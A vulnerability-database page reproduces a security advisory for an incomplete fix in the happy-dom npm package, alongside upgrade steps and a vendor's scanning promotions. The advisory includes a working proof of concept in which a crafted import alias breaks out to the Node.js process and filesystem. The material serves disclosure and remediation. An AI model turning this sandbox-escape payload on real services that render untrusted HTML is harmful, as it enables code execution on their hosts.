high · 8.8 Patched

Happy DOM: Incomplete fix for CVE-2026-33943: unsanitized import alias leads to host code execution

CVE-2026-115895 · GHSA-834v-8h66-3h79 · published 23 Oct 2026

How serious is it

  • Severity: high, CVSS score 8.8 out of 10.
  • No exploit prediction (EPSS) score yet.
  • Not on the CISA list of exploited vulnerabilities.
  • No public exploit in Exploit-DB.

Is your app affected by CVE-2026-115895?

Paste this prompt into Claude Code, Cursor or any AI coding tool: it runs a free Shippable scan of your project and fixes what it finds. Built with Lovable, Bolt or v0? Scan your live app. Or upload your package file.

Who is affected

  • happy-dom (npm) >= 17.0.0, <= 21.0.3

How to check

  1. Run npm ls happy-dom in your project to see the installed version, including copies pulled in by other packages.
  2. Or paste your lockfile into the checker: it lists every package with a known vulnerability, this one included.
  3. Or run npx shippable-dev scan localhost:3000 in your project folder. It reads your lockfile and flags this vulnerability along with every other known one.

How to fix

Copies a prompt for Claude Code, Cursor or Codex: it checks your lockfiles for this and upgrades it.
  1. Upgrade happy-dom to 21.0.4 or later, commit the lockfile and redeploy.
  2. If a vulnerable version was live, check your logs and rotate the secrets that server could read.

The advisory

## Summary The ESM compiler in `happy-dom@20.14.5` does not validate imported local binding aliases before interpolating them into generated JavaScript. As a result, an invalid ESM import alias can be transformed into a valid JavaScript destructuring default initializer and executed. This appears to be an alternate injection path and incomplete remediation of GHSA-6q6h-j7hj-3r64 / CVE-2026-33943. The previous fix validates `importName` in the local `export { ... }` handler, but the named import handler still places an unvalidated `alias` directly into code context. These issues were confirmed through the public `Window` and `<script type="module">` APIs using the published `happy-dom` npm package. The PoC reaches the Node.js host `process`, obtains `node:fs`, and creates a proof directory on the host filesystem. ## Confirmed affected versions The PoC was directly tested against: - `happy-dom@17.0.0` - `happy-dom@20.0.0` - `happy-dom@20.1.0` - `happy-dom@20.14.5` The same PoC does not trigger on `happy-dom@16.8.1`. The ESM compiler was introduced by commit `7bc831df2`, first released in `v17.0.0`. The vulnerable interpolation remains present through `v20.14.5`, the latest release at the time of testing. Suggested affected range: ```text >= 17.0.0, <= 20.14.5 ``` No patched version is currently available. ## Preconditions - JavaScript evaluation is enabled with `enableJavaScriptEvaluation: true`. - Attacker-controlled HTML or module source is processed by Happy DOM. - This may affect SSR, preview, scraping, or testing services that evaluate externally supplied HTML. ## Technical details In `packages/happy-dom/src/module/ECMAScriptModuleCompiler.ts`, the named import handler splits an import specifier and extracts its alias: ```ts const nameParts = part.trim().split(/\s+as\s+/); const alias = (nameParts[1] || nameParts[0]).replace(/["']/g, ''); const name = nameParts[0].replace(/["']/g, ''); if (alias && name) { properties.push({ name, alias }); } ``` Unlike the patched `export { ... }` handler, the value of `alias` is not validated as a JavaScript identifier. It is subsequently inserted directly into generated binding syntax: ```ts newCodeStart += `let {${properties .map((property) => property.alias ? `"${property.name}": ${property.alias}` : property.name ) .join(', ')}} = $happy_dom.imports.get('${url}')${match[8]}`; ``` Consider the following source: ```js import { missing as injected = globalThis.__HAPPY_DOM_PWNED__ = 1337 } from './dep.json' with { type: 'json' }; ``` This is invalid ECMAScript module syntax. Node.js rejects it at the `=` token. Happy DOM instead transforms it into the equivalent of: ```js let { "missing": injected = globalThis.__HAPPY_DOM_PWNED__ = 1337 } = $happy_dom.imports.get('https://poc.local/dep.json'); ``` This generated JavaScript is valid. Because the imported JSON object does not contain a `missing` property, the default initializer executes. The `with { type: 'json' }` attribute is relevant because the compiler only generates its circular import resolver for ESM imports: ```ts if (!match[7] || match[7] === 'esm') { resolvableCircularImports.push({ url, properties }); } ``` Using a JSON module prevents the malicious alias from being emitted again in a later circular-import assignment, leaving the generated function syntactically valid. Backtick strings also survive the existing quote removal. This allows the injected initializer to reach Node.js host APIs: ```js globalThis.constructor.constructor(`return process`)() .getBuiltinModule(`node:fs`) .mkdirSync( globalThis.constructor.constructor(`return process`)().cwd() + `/HAPPY_DOM_RCE_PROOF` ) ``` ## Proof of concept The following PoC uses only the public Happy DOM API and performs a harmless filesystem action by creating a directory named `HAPPY_DOM_RCE_PROOF`. ### 1. Create `package.json` ```json { "name": "happy-dom-import-alias-rce-poc", "private": true, "type": "module", "dependencies": { "happy-dom": "20.14.5" } } ``` ### 2. Create `dep.json` ```json {} ``` ### 3. Create `payload.mjs` This file is used as a control to demonstrate that a native ECMAScript parser rejects the source: ```js import { missing as injected = globalThis.__HAPPY_DOM_PWNED__ = 1337 } from './dep.json' with { type: 'json' }; ``` ### 4. Create `poc.mjs` ```js import { Window } from 'happy-dom'; import { existsSync, rmSync } from 'node:fs'; import { resolve } from 'node:path'; const proofDirectory = resolve('HAPPY_DOM_RCE_PROOF'); rmSync(proofDirectory, { recursive: true, force: true }); const window = new Window({ url: 'https://poc.local/', settings: { enableJavaScriptEvaluation: true, suppressCodeGenerationFromStringsWarning: true, fetch: { virtualServers: [ { url: 'https://poc.local/', directory: process.cwd() } ] } } }); const script = window.document.createElement('script'); script.type = 'module'; script.textContent = ` import { missing as injected = globalThis.constructor.constructor(\`return process\`)() .getBuiltinModule(\`node:fs\`) .mkdirSync( globalThis.constructor.constructor(\`return process\`)().cwd() + \`/HAPPY_DOM_RCE_PROOF\` ) } from './dep.json' with { type: 'json' }; `; window.document.body.appendChild(script); await window.happyDOM.waitUntilComplete(); if (!existsSync(proofDirectory)) { console.error('[-] Exploit failed: proof directory was not created.'); console.error( window.happyDOM.virtualConsolePrinter.readAsString() ); process.exitCode = 1; } else { console.log(`[+] Host filesystem reached: ${proofDirectory}`); } await window.happyDOM.close(); ``` ### 5. Run the control test ```console npm install node --check payload.mjs ``` Expected result: ```text SyntaxError: Unexpected token '=' ``` This confirms that the source is not valid ESM. ### 6. Run the Happy DOM PoC …

Check your whole app

Dependencies are only half of it. Free and read-only: before you push, run npx shippable-dev scan localhost:3000 in your project folder, no account needed. For your live app, you prove it's yours with a one-line tag first.

References

Merged from GitHub Advisory Database, OSV. Last updated 26 Oct 2026. All vulnerabilities · RSS · JSON